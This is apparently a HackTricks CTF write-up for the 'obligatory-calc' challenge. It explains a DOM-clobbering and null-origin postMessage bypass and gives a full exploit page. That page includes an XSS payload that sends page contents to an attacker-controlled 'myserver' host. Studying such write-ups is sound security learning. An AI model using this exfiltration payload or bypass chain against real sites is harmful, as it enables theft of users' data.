{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
In the solution for this challenge, @Strellic_ proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to bypass this:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
If he does, he can send a postmessage with HTML content that is going to be written in the page with innerHTML
without sanitation (XSS).
The way to bypass the first check is by making window.calc.contentWindow
to undefined
and e.source
to null
:
window.calc.contentWindow
is actuallydocument.getElementById("calc")
. You can clobberdocument.getElementById
with<img name=getElementById />
(note that Sanitizer API -here- is not configured to protect against DOM clobbering attacks in its default state).- Therefore, you can clobber
document.getElementById("calc")
with<img name=getElementById /><div id=calc></div>
. Then,window.calc
will beundefined
. - Now, we need
e.source
to beundefined
ornull
(because==
is used instead of===
,null == undefined
isTrue
). Getting this is "easy". If you create an iframe and send a postMessage from it and immediately remove the iframe,e.origin
is going to benull
. Check the following code
- Therefore, you can clobber
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
In order to bypass the second check about token is by sending token
with value null
and making window.token
value undefined
:
- Sending
token
in the postMessage with valuenull
is trivial. window.token
in calling the functiongetCookie
which usesdocument.cookie
. Note that any access todocument.cookie
innull
origin pages tigger an error. This will makewindow.token
haveundefined
value.
The final solution by @terjanq is the following:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.